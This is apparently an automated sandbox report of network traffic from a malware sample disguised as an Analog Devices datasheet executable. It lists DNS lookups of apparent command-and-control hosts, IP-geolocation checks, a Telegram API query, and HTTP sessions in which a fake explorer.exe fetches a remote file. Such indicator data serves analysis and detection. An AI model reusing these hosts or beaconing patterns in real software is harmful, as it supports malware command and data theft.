Oct 10, 2024 10:13:04.774473906 CEST	53	58146	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:05.112987995 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:05.854549885 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:06.620023966 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:10.158248901 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:10.158313990 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:10.901290894 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:11.028949022 CEST	59840	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:11.115978003 CEST	53	59840	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:11.651321888 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:13.417107105 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:13.417196989 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:14.166929007 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:14.916898012 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:16.674230099 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:16.674371958 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:17.416927099 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:18.182584047 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:19.948990107 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:20.698200941 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:21.448250055 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:22.337815046 CEST	55070	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:22.502510071 CEST	53	55070	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:24.192413092 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:24.192493916 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:24.948245049 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:25.713979006 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:27.479540110 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:27.482367992 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:28.245182037 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:28.995122910 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:30.776709080 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:30.776710033 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:30.999563932 CEST	60293	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:31.085522890 CEST	53	60293	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:31.542032003 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:32.307576895 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:34.073360920 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:34.838835955 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:35.604522943 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:38.689703941 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:38.689816952 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:38.692243099 CEST	59300	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:38.778529882 CEST	53	59300	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:39.432620049 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:40.182735920 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:41.949733973 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:41.950514078 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:42.713905096 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:43.479459047 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:45.094393015 CEST	58733	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:45.186897039 CEST	53	58733	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:45.246033907 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:45.246033907 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:46.010824919 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:46.760797977 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:48.526694059 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:49.276439905 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:50.026573896 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:50.867347956 CEST	62901	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:50.954277039 CEST	53	62901	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:53.763503075 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:53.763641119 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:54.510780096 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:55.276367903 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:57.042324066 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:57.042651892 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:57.728713989 CEST	64274	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:13:57.792052984 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:57.815824032 CEST	53	64274	1.1.1.1	192.168.2.4
Oct 10, 2024 10:13:58.557637930 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:00.307977915 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:00.307977915 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:01.073309898 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:01.823275089 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:03.787813902 CEST	59578	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:03.807863951 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:03.876457930 CEST	53	59578	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:04.573307037 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:05.323276043 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:08.189315081 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:08.189946890 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:08.948400974 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:09.324198961 CEST	63137	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:09.409861088 CEST	53	63137	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:09.698266983 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:11.464046955 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:11.464853048 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:12.213870049 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:12.963907003 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:14.159137964 CEST	64044	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:14.166371107 CEST	53	64044	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:14.733805895 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:14.733805895 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:15.495153904 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:16.260816097 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:18.128154039 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:18.870167017 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:19.259150982 CEST	61404	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:19.425982952 CEST	53	61404	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:19.635828018 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:23.580672026 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:23.582617998 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:24.338915110 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:25.104554892 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:25.649655104 CEST	61353	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:25.735754013 CEST	53	61353	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:26.885947943 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:26.886037111 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:27.651552916 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:28.402740002 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:30.168618917 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:30.168708086 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:30.914588928 CEST	57742	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:30.917052984 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:31.682684898 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:31.698242903 CEST	53	57742	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:33.822451115 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:34.557754040 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:35.323458910 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:38.212102890 CEST	61157	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:14:38.219692945 CEST	53	61157	1.1.1.1	192.168.2.4
Oct 10, 2024 10:14:39.087282896 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:39.087380886 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:39.838962078 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:40.590126991 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:42.355652094 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:42.355739117 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:43.104729891 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:14:43.870260954 CEST	137	137	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 10, 2024 10:12:36.109025002 CEST	192.168.2.4	1.1.1.1	0xb382	Standard query (0)	vccmd01.googlecode.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:38.648356915 CEST	192.168.2.4	1.1.1.1	0x911e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:39.534888983 CEST	192.168.2.4	1.1.1.1	0x1a3	Standard query (0)	vccmd02.googlecode.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:39.705157995 CEST	192.168.2.4	1.1.1.1	0x38ec	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:41.957696915 CEST	192.168.2.4	1.1.1.1	0xd84c	Standard query (0)	vccmd03.googlecode.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:44.306910992 CEST	192.168.2.4	1.1.1.1	0xb825	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:45.767725945 CEST	192.168.2.4	1.1.1.1	0x128e	Standard query (0)	vccmd01.zxq.net	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:46.760664940 CEST	192.168.2.4	1.1.1.1	0x128e	Standard query (0)	vccmd01.zxq.net	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:47.673161983 CEST	192.168.2.4	1.1.1.1	0x22da	Standard query (0)	zxq.net	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:51.643307924 CEST	192.168.2.4	1.1.1.1	0xdbdd	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:58.896295071 CEST	192.168.2.4	1.1.1.1	0x592a	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:04.764357090 CEST	192.168.2.4	1.1.1.1	0xb328	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 10, 2024 10:13:11.028949022 CEST	192.168.2.4	1.1.1.1	0x6a11	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:22.337815046 CEST	192.168.2.4	1.1.1.1	0x5095	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:30.999563932 CEST	192.168.2.4	1.1.1.1	0x480b	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:38.692243099 CEST	192.168.2.4	1.1.1.1	0x9ff2	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:45.094393015 CEST	192.168.2.4	1.1.1.1	0x6f2b	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:50.867347956 CEST	192.168.2.4	1.1.1.1	0x3512	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:57.728713989 CEST	192.168.2.4	1.1.1.1	0xdb0	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:03.787813902 CEST	192.168.2.4	1.1.1.1	0x62f0	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:09.324198961 CEST	192.168.2.4	1.1.1.1	0x7986	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:14.159137964 CEST	192.168.2.4	1.1.1.1	0xbb02	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:19.259150982 CEST	192.168.2.4	1.1.1.1	0x5793	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:25.649655104 CEST	192.168.2.4	1.1.1.1	0x3207	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:30.914588928 CEST	192.168.2.4	1.1.1.1	0xa710	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:38.212102890 CEST	192.168.2.4	1.1.1.1	0x76c5	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 10, 2024 10:12:36.141796112 CEST	1.1.1.1	192.168.2.4	0xb382	No error (0)	vccmd01.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 10:12:36.141796112 CEST	1.1.1.1	192.168.2.4	0xb382	No error (0)	googlecode.l.googleusercontent.com		64.233.184.82	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:38.655303001 CEST	1.1.1.1	192.168.2.4	0x911e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 10:12:38.655303001 CEST	1.1.1.1	192.168.2.4	0x911e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:38.655303001 CEST	1.1.1.1	192.168.2.4	0x911e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:38.655303001 CEST	1.1.1.1	192.168.2.4	0x911e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:38.655303001 CEST	1.1.1.1	192.168.2.4	0x911e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:38.655303001 CEST	1.1.1.1	192.168.2.4	0x911e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:39.559216022 CEST	1.1.1.1	192.168.2.4	0x1a3	No error (0)	vccmd02.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 10:12:39.559216022 CEST	1.1.1.1	192.168.2.4	0x1a3	No error (0)	googlecode.l.googleusercontent.com		173.194.76.82	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:39.714432001 CEST	1.1.1.1	192.168.2.4	0x38ec	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:39.714432001 CEST	1.1.1.1	192.168.2.4	0x38ec	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:41.969110966 CEST	1.1.1.1	192.168.2.4	0xd84c	No error (0)	vccmd03.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 10:12:41.969110966 CEST	1.1.1.1	192.168.2.4	0xd84c	No error (0)	googlecode.l.googleusercontent.com		173.194.76.82	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:44.471040964 CEST	1.1.1.1	192.168.2.4	0xb825	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:46.978904009 CEST	1.1.1.1	192.168.2.4	0x128e	No error (0)	vccmd01.zxq.net		51.81.194.202	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:46.982888937 CEST	1.1.1.1	192.168.2.4	0x128e	No error (0)	vccmd01.zxq.net		51.81.194.202	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:48.051311016 CEST	1.1.1.1	192.168.2.4	0x22da	No error (0)	zxq.net		51.81.194.202	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:51.650093079 CEST	1.1.1.1	192.168.2.4	0xdbdd	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:12:58.982382059 CEST	1.1.1.1	192.168.2.4	0x592a	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:04.774473906 CEST	1.1.1.1	192.168.2.4	0xb328	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 10, 2024 10:13:11.115978003 CEST	1.1.1.1	192.168.2.4	0x6a11	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:22.502510071 CEST	1.1.1.1	192.168.2.4	0x5095	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:31.085522890 CEST	1.1.1.1	192.168.2.4	0x480b	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:38.778529882 CEST	1.1.1.1	192.168.2.4	0x9ff2	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:45.186897039 CEST	1.1.1.1	192.168.2.4	0x6f2b	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:50.954277039 CEST	1.1.1.1	192.168.2.4	0x3512	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:13:57.815824032 CEST	1.1.1.1	192.168.2.4	0xdb0	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:03.876457930 CEST	1.1.1.1	192.168.2.4	0x62f0	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:09.409861088 CEST	1.1.1.1	192.168.2.4	0x7986	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:14.166371107 CEST	1.1.1.1	192.168.2.4	0xbb02	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:19.425982952 CEST	1.1.1.1	192.168.2.4	0x5793	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:25.735754013 CEST	1.1.1.1	192.168.2.4	0x3207	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:31.698242903 CEST	1.1.1.1	192.168.2.4	0xa710	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 10, 2024 10:14:38.219692945 CEST	1.1.1.1	192.168.2.4	0x76c5	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

zxq.net

slscr.update.microsoft.com

api.telegram.org

fe3cr.delivery.mp.microsoft.com

otelrules.azureedge.net

vccmd01.googlecode.com

checkip.dyndns.org

vccmd02.googlecode.com

vccmd03.googlecode.com

vccmd01.zxq.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:36.156018019 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:12:36.870373011 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:12:36 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:12:36.870388985 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:38.683435917 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 10, 2024 10:12:39.357263088 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d0caee9400ea18ca5d42f813a618d9db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 10, 2024 10:12:39.396625996 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 10, 2024 10:12:39.602368116 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 148b783ba4d631236058e3c20c88d20d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 10, 2024 10:12:39.815299988 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 148b783ba4d631236058e3c20c88d20d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
